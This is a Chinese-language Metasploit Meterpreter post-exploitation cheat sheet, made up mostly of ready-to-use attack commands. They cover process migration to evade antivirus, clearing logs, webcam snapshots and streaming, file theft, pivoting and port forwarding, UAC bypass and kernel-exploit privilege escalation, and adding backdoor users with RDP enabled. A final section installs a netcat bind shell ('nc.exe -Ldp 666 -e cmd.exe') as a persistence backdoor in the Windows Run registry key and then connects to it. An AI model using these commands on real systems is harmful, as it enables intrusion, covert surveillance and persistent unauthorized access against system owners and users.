1. 通用控制命令
meterpreter > essions -k 1 # 通过ID号杀死一个会话
meterpreter > background # 将会话放入后台
meterpreter > getuid/getpid # 查询用户权限与PID
meterpreter > sysinfo # 查看目标系统信息
meterpreter > ps # 查目标主机进程
meterpreter > kill PID # 杀死目标制定进程
meterpreter > getsystem # 尝试令牌提权
meterpreter > shell # 进入目标shell环境
meterpreter > enumdesktops # 查看可用的桌面
meterpreter > getdesktop # 获取当前meterpreter关联的桌面
meterpreter > set_desktop # 设置meterpreter关联的桌面
meterpreter > screenshot # 截屏
meterpreter > run vnc # 使用vnc远程桌面连接
meterpreter > uictl disable mouse # 禁用目标鼠标
meterpreter > uictl enable keyboard # 开启目标键盘
meterpreter > webcam_list # 查看目标主机摄像头
meterpreter > webcam_snap # 摄像头拍照
meterpreter > webcam_stream # 开启目标主机摄像头
meterpreter > clearav # 销毁日志文件
meterpreter > webcam_stream -i 1/2 # 打开前置或后置摄像头
meterpreter > check_root # 检测root
meterpreter > dump_calllog # 下载电话记录
meterpreter > dump_contacts # 下载信息记录
meterpreter > geolocate # 谷歌地图定位
2.Migrate进程迁移
进程迁移技术允许攻击者将Meterpreter客户端从当前进程中迁移到另一个进程中。这可以避免检测软件识别Meterpreter客户端,并对其进行清除。此外,进程迁移还可以帮助攻击者隐藏其所在的进程,以避免被检测
meterpreter > execute # 在目标机器中执行文件
meterpreter > execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见-i交互
meterpreter > getpid
meterpreter > ps
meterpreter > migrate PID # 通过PID号迁移进程
3.文件查阅与传输
Meterpreter 还具有文件查阅与远程文件传输功能。这些功能允许攻击者查看受害者计算机上的文件,并传输文件到受控机器。
meterpreter > getwd # 查看当前工作目录
meterpreter > search -f *filename* # 搜索文件
meterpreter > cat c:\\lyshark.log # 查看文件内容
meterpreter > upload /tmp/shell.exe C:\\shell.exe # 上传文件到目标机
meterpreter > download c:\\shell.exe /tmp/ # 下载文件到本机上
meterpreter > edit c:\\lyshark.log # VIM编辑或创建文件
meterpreter > rm C:\\lyshark.log # 删除文件
meterpreter > getlwd # 看肉鸡当前目录
meterpreter > lcd /tmp # 切换目录
4.端口转发与扫描
# 网络参数采集
meterpreter > ifconfig # 查询肉鸡IP地址
meterpreter > netstat -antp # 查询目标网络连接
meterpreter > arp -a # 查询目标ARP缓存
meterpreter > getproxy # 查看目标代理信息
meterpreter > route # 查看目标路由表
# 远端端口扫描
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.9.0/24 # 扫描192.168.9.0/24网段
meterpreter > run auxiliary/scanner/portscan/tcp RHOSTS=192.168.9.135 PORTS=3389 # 检测192.168.9.135是否开启3389端口
# 端口转发与端口关闭
meterpreter > portfwd add -l 9999 -p 3389 -r 127.0.0.1 # 将目标机3389端口转发到本地9999
meterpreter > portfwd list # 查询当前转发列表
meterpreter > portfwd delete -l 9999 # 删除本地主机的9999端口映射
# 添加与删除主机路由
meterpreter > run autoroute -p # 查询添加的路由记录
meterpreter > run autoroute -s 10.10.10.1 -n 255.255.255.0 # 在目标主机添加一条路由
meterpreter > run autoroute -d -s 10.10.10.1 # 删除目标主机中的路由
meterpreter > run autoroute -s 10.10.10.1/24 # 添加一个路由网段
5.目标主机权限提升
针对目标主机的提权操作有两种情况,读者可使用bypassuac
脚本尝试提权,也可使用enum_patches
枚举出系统补丁信息,根据不同补丁采用不同的提权脚本实现。
# 使用bypassuac脚本尝试提权
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run
# 收集目标主机补丁情况
meterpreter > run post/windows/gather/enum_patches
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7
# 尝试采用符合的提权脚本提权
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 1
msf > exploit
6.添加用户与开启远程
# 添加系统用户与开启远程桌面
meterpreter > run getgui -e # 开启远程桌面
meterpreter > run getgui -u lyshark -p 123123 # 添加用户
meterpreter > run getgui -f 9999 -e # 3389端口转发到9999
# 启用RDP桌面
meterpreter > run post/windows/manage/enable_rdp # 开启远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123 # 添加用户
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999 # 将3389端口转发到9999
7.注册表写入后门
通过上传命令将nc.exe
后门传输到远程主机,并通过写出currentversion
设置开机自启动后门,实现长期权限维持,该功能通常用于后渗透阶段的权限维持。
-d 注册表中值的数据
-k 注册表键路径
-v 注册表键名称
enumkey 枚举可获得的键
setval 设置键值
queryval 查询键值数据
# 上传nc工具到根目录
meterpreter > upload /root/nc.exe C:\\windows\\
# 枚举run下的key
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
# 增加NC后门
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe'
# 查看键值
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell
# 攻击者即可链接NC获取Shell
┌──(lyshark㉿kali)-[~]
└─$ nc -v 192.168.1.20 666